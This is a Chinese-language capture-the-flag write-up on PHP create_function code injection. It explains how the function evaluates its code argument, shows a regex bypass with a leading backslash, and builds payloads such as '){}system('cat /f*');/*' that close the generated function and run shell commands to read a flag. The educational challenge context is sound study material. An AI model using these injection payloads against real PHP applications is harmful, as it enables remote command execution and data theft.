源码如下
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
考察creat_function
函数
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
函数功能分析:
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
输出:
New anonymous function: lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599
reate_function()
会创建一个匿名函数(lambda
样式)
create_function()
函数会在内部执行 eval()
,我们发现是执行了后面的return
语句,属于create_function()
中的第二个参数string $code
位置。
因此create_function函数等价于
function lambda1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
代码注入举例:
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
最后的/i
是不区分大小写,/s
匹配任何不可见字符 /D
如果以$限制结尾字符,则不允许结尾有换行
构造payload:
?a=\create_function&b=return 'Leaf';}phpinfo();/*
\
的作用是绕过正则匹配preg_match
,第一个分号是让return
语句结束,}
的作用是让create_function
语句闭合,然后执行phpinfo();
后面要加/*
是为了让最后的大括号被注释掉来保证phpinfo()正常执行
简单解释一下,creat_function
就是创建一个函数,这里
create_function($name,base64_encode($value))();
可以看作如下代码:
creat($name){
base64_encode($value)
}
也就是当做函数片段
来看
这里base54_encode($value)
也可以暂时先不看,先处理$name
我们要做的是让我们创建出来的函数闭合,然后去执行接下来的语句
假设name
传入的值
?name=){}phpinfo();/*
我们把payload中$name
带入
#带入$name
creat(){}phpinfo();/*){
base64_encode($value)
}
整理一下
creat(){
#空语句
}phpinfo();/*){
base64_encode($value)
}
由此可以执行phpinfo()
回到该题,creat_function
已经给出,我们需要是传入$name
让他的语句闭合并执行我们的命令,然后再传入$value
(这个随便传都可以好像)
但是这里注意一点,我们不仅要闭合creat_function
还要闭合($name)
的括号
直接构造payload:
?value=Leaf&name=){}system('ls /');/*
修改命令为cat /f*
得到flag
?value=Leaf&name=){}system('cat /f*');/*
该题可以参考:[NISACTF 2022]level-up